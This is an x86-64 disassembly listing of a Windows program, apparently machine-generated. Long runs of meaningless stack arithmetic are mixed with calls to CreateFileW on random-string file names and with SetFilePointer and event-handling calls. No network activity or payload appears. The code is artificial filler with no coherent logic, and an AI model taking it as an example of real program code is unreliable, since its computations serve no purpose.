mov rcx, qword [rsp + 0x1740]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x1718], rax
mov rax, qword [rsp + 0xfa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2830]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x19f8]
mov qword [rcx], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x14c
mov rcx, qword [rsp + 0x1820]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x904], eax
lea rax, [0x1400fd200]
mov qword [rsp + 0x2d00], rax
mov eax, dword [rsp + 0x94]
movzx ecx, al
mov eax, dword [rsp + 0x480]
shl eax, cl
mov dword [rsp + 0x3c8], eax
lea rax, [rsp + 0xcd]
mov qword [rsp + 0x19c8], rax
mov rax, qword [rsp + 0xa48]
mov eax, dword [rax]
add eax, dword [rsp + 0xc8]
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x11c0]
mov qword [rsp + 0x4838], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4838]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2348], rax
lea rax, [rsp + 0x3fb]
mov qword [0x1400fd4c8], rax
movsx eax, word [rsp + 0x19c]
mov rcx, qword [rsp + 0xa28]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5a0], ax
movsx eax, word [rsp + 0x390]
movsx ecx, word [rsp + 0x78]
and eax, ecx
mov word [rsp + 0x43c], ax
mov rax, qword [rsp + 0x658]
movzx eax, word [rax]
mov word [rsp + 0x8c0], ax
mov rax, qword [rsp + 0x1880]
mov rcx, qword [rsp + 0xb38]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x120], rax
movsx eax, byte [rsp + 0xf9]
mov rcx, qword [rsp + 0x1b70]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xdc8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x2508]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xe24], eax
lea rax, [rsp + 0x688]
mov qword [rsp + 0x29c8], rax
mov rax, qword [rsp + 0x628]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2300]
add rax, qword [rcx]
mov qword [rsp + 0x1900], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.411AK9XF_noXPZ3jmlIsdRShJlpkl08V
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x32f0], rax
movsx eax, word [rsp + 0x4ac]
movsx ecx, word [rsp + 0x368]
sar eax, cl
mov word [rsp + 0x360], ax
mov rax, qword [rsp + 0x1538]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1ee8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1400fd308]
mov word [rcx], ax
mov rax, qword [rsp + 0x950]
mov rcx, qword [rsp + 0xa18]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1180]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x2948]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x12c]
movzx ecx, word [rsp + 0x590]
shl eax, cl
mov rcx, qword [rsp + 0x1318]
mov word [rcx], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xd2f1
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1678], eax
mov eax, dword [0x1400fc384]
mov dword [rsp + 0x1a94], eax
mov rax, qword [rsp + 0x12d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x668]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe7], al
movzx eax, byte [rsp + 0x13b]
mov byte [rsp + 0x3fc], al
mov rax, qword [rsp + 0x1158]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x900]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1900]
movzx ecx, al
mov rax, qword [rsp + 0x11d8]
shr rax, cl
mov qword [rsp + 0x28b8], rax
mov rax, qword [rsp + 0x1c10]
movsx eax, word [rax]
mov rcx, qword [0x1400fd1d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x64], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3158], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xcb99
mov rcx, qword [rsp + 0x1e78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x99c], eax
mov rax, qword [rsp + 0x16a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x384]
sub eax, ecx
mov word [0x1400fd368], ax
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xac8], eax
mov rax, qword [rsp + 0xd78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x14e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f70], rax
mov rax, qword [0x1400fc438]
mov qword [rsp + 0x18e8], rax
mov rax, qword [rsp + 0xf90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1c90]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x21c], ax
movzx eax, word [rsp + 0x31c]
movzx ecx, word [rsp + 0x12c]
and eax, ecx
mov word [rsp + 0x6e8], ax
movsx eax, byte [0x1400fd134]
mov rcx, qword [rsp + 0xfd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x235], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.2l3_vX5v8iuDivWJKRPQg_aFNPheP4B
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4998], rax
mov rax, qword [rsp + 0xa48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1f48]
mov qword [rsp + 0x4840], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4840]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xca8]
mov dword [rcx], eax
lea rax, [rsp + 0x1890]
mov qword [rsp + 0x2e80], rax
mov rax, qword [0x1400fd248]
mov rcx, qword [rsp + 0x16f0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x1808], rax
mov rax, qword [rsp + 0xd70]
movzx eax, word [rax]
mov word [0x1400fd4d0], ax
mov eax, 0x38
imul rax, rax, 3
lea rcx, section..data
mov qword [rsp + rax + 0x5b68], rcx
mov rax, qword [rsp + 0x28c0]
movzx eax, word [rax]
mov word [rsp + 0x1594], ax
mov rcx, qword [rsp + 0x2c50]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0x91]
movzx ecx, byte [rsp + 0x156]
shl eax, cl
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x1930]
mov ecx, dword [rsp + 0x1680]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x119c], eax
lea rax, [rsp + 0x18a0]
mov qword [rsp + 0x1ed0], rax
mov rax, qword [rsp + 0xf78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1300], rax
mov rax, qword [rsp + 0x2fd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1950]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x171], al
mov rax, qword [rsp + 0xa48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1158]
add eax, dword [rcx]
mov rcx, qword [rsp + 0x960]
mov dword [rcx], eax
lea rax, [rsp + 0x494]
mov qword [rsp + 0x1d70], rax
movzx eax, word [rsp + 0x5e8]
movzx ecx, word [rsp + 0x8c]
sar eax, cl
mov rcx, qword [0x1400fd360]
mov word [rcx], ax
mov rax, qword [rsp + 0x1000]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b0]
add rax, qword [rcx]
mov qword [rsp + 0xfb8], rax
mov rax, qword [rsp + 0xa50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5bc]
sub eax, ecx
mov rcx, qword [rsp + 0x2a8]
mov word [rcx], ax
movzx eax, word [rsp + 0x3b4]
mov word [rsp + 0x8ac], ax
mov rax, qword [rsp + 0xb28]
mov rax, qword [rax]
mov rcx, qword [0x1400fc408]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x22b0]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x840f
mov rcx, qword [rsp + 0x1e78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x908], eax
lea rax, [rsp + 0xe20]
mov qword [rsp + 0x19d8], rax
mov rax, qword [rsp + 0xd90]
mov rcx, qword [rsp + 0x1f78]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x1fd8]
mov qword [rcx], rax
mov rax, qword [0x1400fd330]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x13b]
and eax, ecx
mov rcx, qword [rsp + 0x1430]
mov byte [rcx], al
movzx eax, word [rsp + 0x898]
mov word [rsp + 0x878], ax
lea rax, [rsp + 0x1fb8]
mov qword [0x1400fd4d8], rax
mov rax, qword [rsp + 0x800]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x358]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb0], al
mov rax, qword [rsp + 0x1058]
mov ecx, dword [rsp + 0x9a8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xe00], eax
mov rcx, qword [rsp + 0x24c0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x174]
movsx ecx, word [rsp + 0x364]
shl eax, cl
mov word [rsp + 0x4e8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.6IuiUNDO1M8mm60G
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2470], rax
movzx eax, word [0x1400fc468]
mov rcx, qword [rsp + 0x1ee8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x724], ax
lea rax, [rsp + 0x1a40]
mov qword [rsp + 0x2540], rax
mov rax, qword [rsp + 0x10b0]
movsx eax, byte [rax]
movsx ecx, byte [str._aMl]
sar eax, cl
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0x1418]
mov qword [rsp + 0x3940], rax
mov rax, qword [rsp + 0xfa0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x98], ax
movzx eax, word [rsp + 0x438]
mov rcx, qword [rsp + 0x9e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fc410], ax
mov rax, qword [rsp + 0x1528]
mov rcx, qword [rsp + 0x2c30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1ed0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1268]
mov rcx, qword [rsp + 0x2428]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1f08], rax
mov rax, qword [rsp + 0x1218]
mov rax, qword [rax]
mov rcx, qword [0x1400fd2b8]
mov qword [rsp + 0x4848], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4848]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x790]
mov qword [rcx], rax
movzx eax, word [rsp + 0x560]
mov word [rsp + 0x1550], ax
mov rax, qword [rsp + 0xa10]
mov rcx, qword [rsp + 0x338]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1a58], rax
lea rax, [0x1400fd133]
mov qword [rsp + 0x1be0], rax
mov rax, qword [rsp + 0x1080]
mov ecx, dword [rsp + 0xe2c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x17a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2368]
mov eax, dword [rax]
mov rcx, qword [0x1400fd138]
add eax, dword [rcx]
mov dword [rsp + 0x10ec], eax
mov rcx, qword [rsp + 0xc60]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x800]
movzx eax, byte [rax]
mov byte [rsp + 0x2c9], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1da7
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8fc], eax
mov rcx, qword [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x21c]
movsx ecx, word [rsp + 0x588]
shl eax, cl
mov word [0x1400fc47c], ax
movzx eax, word [rsp + 0x41c]
mov rcx, qword [rsp + 0xdd0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x1a20]
mov word [rcx], ax
mov rax, qword [rsp + 0x1770]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x59c]
xor eax, ecx
mov word [rsp + 0x700], ax
mov rax, qword [rsp + 0x1250]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1760]
sar rax, cl
mov qword [rsp + 0x1bb0], rax
mov rax, qword [rsp + 0x1908]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3130]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xf98], rax
mov eax, dword [rsp + 0x798]
mov dword [rsp + 0x1a30], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.k3L7HNFn_bBVzWIHeJ1o_aDMl
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2ba0], rax
mov rax, qword [rsp + 0xdc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1430]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x607], al
lea rax, [0x1400fd378]
mov qword [rsp + 0x23a0], rax
mov rax, qword [rsp + 0x10a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc88]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5b4], ax
mov rax, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x16f0]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1400fc470], rax
movzx eax, word [0x1400fd168]
mov rcx, qword [rsp + 0x10a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x31c], ax
mov rcx, qword [rsp + 0x11e0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1528]
movzx ecx, al
mov rax, qword [rsp + 0x16a8]
sar rax, cl
mov qword [rsp + 0x1540], rax
mov rax, qword [0x1400fd490]
mov rcx, qword [rsp + 0x3078]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x1738]
mov qword [rcx], rax
lea rax, [rsp + 0x10e4]
mov qword [rsp + 0x1ef0], rax
mov rax, qword [rsp + 0x2588]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1348]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xfc0], rax
mov rax, qword [rsp + 0x820]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x60]
shl eax, cl
mov byte [rsp + 0x109], al
lea rax, [rsp + 0x1a94]
mov qword [rsp + 0x2f60], rax
mov rax, qword [rsp + 0x24b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1478]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x530]
mov byte [rcx], al
movzx eax, word [rsp + 0x1d4]
mov word [0x1400fd4e0], ax
movzx eax, word [rsp + 0x6ac]
mov word [rsp + 0x70c], ax
mov rax, qword [rsp + 0x1b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4a4]
xor eax, ecx
mov rcx, qword [rsp + 0xb60]
mov word [rcx], ax
movzx eax, word [rsp + 0x438]
mov word [rsp + 0x6a4], ax
mov rax, qword [rsp + 0x960]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1400fd1d8]
shr eax, cl
mov dword [rsp + 0xc8], eax
mov rax, qword [rsp + 0x2910]
mov rcx, qword [rsp + 0x1ec0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x18a8], rax
lea rax, [0x1400fc382]
mov qword [rsp + 0x1ff0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x79d8
mov rcx, qword [rsp + 0x1820]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xccc], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4958], rax
movsx eax, word [rsp + 0x54]
mov rcx, qword [rsp + 0x1a10]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xda0]
mov word [rcx], ax
movzx eax, word [rsp + 0x564]
movzx ecx, word [rsp + 0x6a4]
sub eax, ecx
mov word [rsp + 0x698], ax
mov rax, qword [0x1400fd3b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1000]
add rax, qword [rcx]
mov qword [0x1400fc480], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x7ab1
mov rcx, qword [rsp + 0x1ce8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcd8], eax
mov rax, qword [rsp + 0x2880]
mov rcx, qword [rsp + 0x1528]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2358], rax
mov rax, qword [rsp + 0xa30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1070]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c30], rax
mov rcx, qword [rsp + 0x1480]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x14d0]
mov qword [rsp + 0x12e8], rax
movzx eax, word [rsp + 0x440]
movzx ecx, word [rsp + 0x6fc]
sar eax, cl
mov word [rsp + 0x4a0], ax
lea rax, [rsp + 0xa04]
mov qword [rsp + 0x25d8], rax
movzx eax, byte [rsp + 0x16d]
imul eax, eax, 0x33
mov byte [rsp + 0xeb], al
mov rax, qword [rsp + 0xca8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xe2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f4], eax
mov rax, qword [rsp + 0x298]
movzx eax, byte [rax]
mov byte [rsp + 0x2cb], al
mov rax, qword [rsp + 0x3d8]
mov rcx, qword [rsp + 0x990]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fc3d8], rax
movsx eax, word [rsp + 0x4c8]
mov rcx, qword [rsp + 0xd70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x1d70]
mov word [rcx], ax
lea rax, [rsp + 0xc24]
mov qword [rsp + 0x2290], rax
movzx eax, word [rsp + 0x380]
movzx ecx, word [rsp + 0x288]
shl eax, cl
mov word [rsp + 0x378], ax
mov rax, qword [rsp + 0x1268]
mov rcx, qword [rsp + 0x748]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x1d90], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xefc4
mov rcx, qword [rsp + 0x1cf8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2818], eax
mov rax, qword [rsp + 0xf40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x538]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x1b70]
mov byte [rcx], al
mov rcx, qword [rsp + 0x23d8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20f8], eax
mov rax, qword [rsp + 0x1400]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x828]
add eax, dword [rcx]
mov rcx, qword [rsp + 0x1ba0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1be8]
mov qword [rsp + 0x3810], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xbdca
mov rcx, qword [rsp + 0x1868]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8ec], eax
movsx eax, word [rsp + 0x454]
mov rcx, qword [rsp + 0x1068]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x494], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2c88], rax
movzx eax, word [rsp + 0xe68]
movzx ecx, word [rsp + 0x4a0]
sub eax, ecx
mov rcx, qword [0x1400fd3a8]
mov word [rcx], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xa94d
mov rcx, qword [rsp + 0x1868]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbd4], eax
lea rax, [0x1400fd328]
mov qword [rsp + 0x1da0], rax
mov rax, qword [rsp + 0x10a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4c0]
and eax, ecx
mov word [rsp + 0x6c], ax
mov rax, qword [rsp + 0x800]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1520]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0xf5], al
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
add eax, dword [rsp + 0x11a4]
mov dword [rsp + 0xe0c], eax
mov rcx, qword [rsp + 0x2bf8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x5a]
movsx ecx, byte [rsp + 0xe6]
sub eax, ecx
mov byte [rsp + 0x2de], al
mov rax, qword [rsp + 0x470]
mov rax, qword [rax]
mov qword [rsp + 0x2e70], rax
mov rax, qword [rsp + 0x1c40]
mov eax, dword [rax]
mov rcx, qword [0x1400fd358]
mov qword [rsp + 0x4850], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4850]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x13d4], eax
movsx eax, word [rsp + 0x4c8]
mov rcx, qword [rsp + 0x23a0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xfa0]
mov word [rcx], ax
lea rax, [rsp + 0x1cc]
mov qword [0x1400fd4e8], rax
mov rax, qword [rsp + 0xf88]
mov rax, qword [rax]
mov qword [rsp + 0x3a20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x4c9c
mov rcx, qword [rsp + 0x2000]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10cc], eax
mov rcx, qword [rsp + 0x2a48]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x13d0], eax
mov rax, qword [rsp + 0x22b0]
mov rcx, qword [rsp + 0x1140]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x18e8], rax
mov rax, qword [rsp + 0x1c90]
movsx eax, word [rax]
mov rcx, qword [0x1400fd4b8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xeb0], ax
mov rax, qword [rsp + 0xc88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0]
add eax, ecx
mov word [rsp + 0x58c], ax
mov rax, qword [rsp + 0x1c80]
mov rcx, qword [rsp + 0x1960]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1408], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xc382
mov rcx, qword [rsp + 0x1e78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe14], eax
mov rax, qword [rsp + 0xa48]
mov eax, dword [rax]
mov dword [rsp + 0x26b0], eax
mov rax, qword [rsp + 0x17f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x17b8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x538]
mov byte [rcx], al
mov rax, qword [rsp + 0x4858]
movzx ecx, al
mov rax, qword [rsp + 0x10b8]
sar rax, cl
mov qword [rsp + 0x3698], rax
mov rax, qword [rsp + 0xfa0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xfe8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1400fd3b8], ax
movzx eax, word [rsp + 0x89c]
movzx ecx, word [rsp + 0x2c4]
sub eax, ecx
mov word [rsp + 0x4a8], ax
lea rax, [rsp + 0xe38]
mov qword [rsp + 0x1ca0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1f20], rax
movzx eax, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x91]
and eax, ecx
mov rcx, qword [rsp + 0x1cd0]
mov byte [rcx], al
mov rax, qword [rsp + 0xd78]
mov rcx, qword [rsp + 0x1ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x16f0], rax
mov eax, dword [rsp + 0x10d4]
mov dword [rsp + 0x20ec], eax
mov rax, qword [0x1400fd380]
mov rcx, qword [rsp + 0x470]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1e80], rax
movzx eax, byte [rsp + 0xcc]
mov byte [rsp + 0x234], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xc69d
mov rcx, qword [rsp + 0x2338]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe14], eax
mov rcx, qword [rsp + 0x23c0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1280]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x870]
sar eax, cl
mov word [rsp + 0x398], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.pejQ05z6_ngyxZr
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x23f0], rax
mov rcx, qword [rsp + 0x1248]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1690], eax
mov rax, qword [rsp + 0xb60]
movzx eax, word [rax]
mov word [0x1400fd4f0], ax
mov rax, qword [rsp + 0xd50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1070]
shl rax, cl
mov rcx, qword [rsp + 0x1b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd88]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x714], ax
movsx eax, word [rsp + 0x23c]
mov rcx, qword [rsp + 0x18e0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x140], ax
mov rax, qword [rsp + 0x18d0]
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0xd90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xfd0]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x2828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1080]
mov eax, dword [rax]
add eax, dword [rsp + 0x630]
mov dword [rsp + 0x56c], eax
movsx eax, byte [rsp + 0xf7]
mov rcx, qword [rsp + 0x16d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x23a], al
mov rax, qword [rsp + 0x1258]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4bc]
sar eax, cl
mov word [rsp + 0x48c], ax
mov rax, qword [rsp + 0x1ed0]
mov rax, qword [rax]
mov qword [0x1400fd4f8], rax
mov rax, qword [rsp + 0x19c8]
movzx eax, byte [rax]
mov byte [rsp + 0x172], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xdea0
mov rcx, qword [rsp + 0x1868]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a44], eax
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0x340]
idiv dword [rcx]
mov dword [rsp + 0x94], eax
lea rax, [rsp + 0x240]
mov qword [rsp + 0x1eb0], rax
movzx eax, word [rsp + 0x3a0]
mov rcx, qword [rsp + 0xb60]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe7c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2458], rax
mov rax, qword [rsp + 0x2b38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2328], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xfd38
mov rcx, qword [rsp + 0x2470]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbd4], eax
mov rax, qword [rsp + 0x29c8]
mov eax, dword [rax]
mov dword [rsp + 0x11b0], eax
movsx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0x1950]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x133], al
mov rax, qword [0x1400fd350]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf90]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x84c], ax
